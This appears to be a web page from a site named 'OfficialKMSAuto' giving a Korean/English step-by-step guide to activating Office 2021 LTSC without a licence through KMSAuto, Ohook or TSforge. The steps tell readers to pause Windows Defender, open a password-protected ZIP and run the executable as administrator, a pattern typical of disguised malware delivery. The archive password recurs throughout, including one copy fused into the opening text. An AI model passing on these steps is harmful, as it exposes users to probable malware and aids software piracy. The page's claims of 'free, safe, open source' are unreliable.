Office 2021 LTSC 무료 정품인증 방법 2026 — 단계별 가이드
본 문서는 2026년 Office 2021 LTSC 한국어 완전 가이드입니다. Office LTSC 2021 activation — Ohook permanent or KMS 180-day renewable. Both bundled in KMSAuto Net.
WYqejXiqBi97본 문서는 2026년 Office 2021 LTSC 한국어 완전 가이드입니다. Office LTSC 2021 is the perpetual version sold to organizations. Both Ohook and KMS work; Ohook is recommended.
Step-by-step activation
Follow these steps exactly — the whole process takes under two minutes.
- Pause Windows Defender real-time protection for ~2 minutes
- Extract the ZIP using the password WYqejXiqBi97
- Right-click the executable and choose 'Run as administrator'
- Pick the recommended method (HWID, Ohook or TSforge)
- Wait for 'Successfully activated' then reboot
After activation — what to check
Open elevated CMD and run slmgr /xpr for Windows or ospp.vbs /dstatus from the Office folder. You should see a permanent or 180-day-renewing licensed state.
Frequently asked questions
▸Is this method free?
Yes — every activation method covered here is 100% free with OfficialKMSAuto.
▸Will it survive Windows updates?
Yes. HWID, Ohook and TSforge are designed to persist across feature updates and even fresh reinstalls on the same hardware.
▸Is an internet connection required?
Only HWID needs a brief one-time internet handshake. Ohook, KMS38 and TSforge work fully offline.
▸Does it work on Windows 11 24H2?
Yes. OfficialKMSAuto ships TSforge specifically to handle 24H2 and the latest Server 2025 builds.
▸What is the archive password?
WYqejXiqBi97 — shown on every download button on this site.
Read this article in another language
Related articles
Portable USB Toolkit 무료 다운로드 2026 — Windows 및 Office 정품인증
본 문서는 2026년 Portable USB Toolkit 한국어 완전 가이드입니다. Build a portable USB activation toolkit with KMSAuto Net, KMSAuto Lite, Microsoft Toolkit and MAS — runs from any USB stick, no install.
Read article →
Windows Server 2025 무료 정품인증 방법 2026 — 단계별 가이드
본 문서는 2026년 Windows Server 2025 한국어 완전 가이드입니다. Server 2025 introduces stricter activation. TSforge inside KMSAuto Net 2026 is the only reliable method.
Read article →
Office Pro Plus 2019 무료 정품인증 방법 2026 — 단계별 가이드
본 문서는 2026년 Office Pro Plus 2019 한국어 완전 가이드입니다. Office Pro Plus 2019 permanent activation with Ohook. Offline, no product key, survives Office updates.
Read article →
Windows N Editions 무료 정품인증 방법 2026 — 단계별 가이드
본 문서는 2026년 Windows N Editions 한국어 완전 가이드입니다. N editions ship without Media Player but use identical activation. KMSAuto handles N SKUs automatically.
Read article →
Microsoft Teams 무료 정품인증 방법 2026 — 단계별 가이드
본 문서는 2026년 Microsoft Teams 한국어 완전 가이드입니다. Microsoft Teams is free to use without activation. KMSAuto doesn't apply — Teams works with any Microsoft account.
Read article →
TPM 2.0 + KMSAuto 정품인증 방법 2026 — 완전한 가이드
본 문서는 2026년 TPM 2.0 + KMSAuto 한국어 완전 가이드입니다. KMSAuto itself doesn't need TPM. Only HWID benefits from TPM 2.0 — KMS, KMS38, TSforge work without it.
Read article →
Download OfficialKMSAuto
Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.
Download Activator — Free🔐 Archive password: WYqejXiqBi97